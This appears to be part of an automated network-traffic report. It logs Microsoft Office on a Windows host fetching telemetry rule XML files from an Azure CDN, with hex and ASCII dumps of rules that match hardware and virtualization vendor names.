22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.9	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155207Z-185f5d8b95cwtv72hC1NYC141w0000000ae0000000003y3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.9	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155207Z-185f5d8b95c4vwv8hC1NYCy4v40000000afg00000000v8hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.9	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: ccb8f84a-f01e-00aa-75f2-3a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155209Z-185f5d8b95cgrrn8hC1NYCgwh40000000a8000000000r5d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.9	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155209Z-185f5d8b95cdh56ghC1NYCk1x4000000048000000000ne01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.9	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155209Z-185f5d8b95cf7qddhC1NYC66an0000000ak00000000078y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.9	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155209Z-1777c6cb754vxwc9hC1TEBykgw00000009ug00000000aaec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.9	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:09 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155209Z-185f5d8b95c95vpshC1NYC759c0000000aeg00000000cxyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.9	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:11 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155211Z-185f5d8b95c96jn4hC1NYCbgp80000000agg000000004e45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.9	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:11 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:12 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 8be6aac8-801e-008c-1a13-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155211Z-r1d97b99577n4dznhC1TEBc1qw000000090000000000npgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:52:12 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.9	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:12 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155212Z-185f5d8b95ctl8xlhC1NYCn94g0000000am00000000055k7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:12 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.9	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155212Z-r1d97b99577656nchC1TEBk98c000000094000000000b4f1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.9	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:12 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 5a421824-101e-000b-7f18-3b5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155212Z-r1d97b995777mdbwhC1TEBezag000000092000000000a3sr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
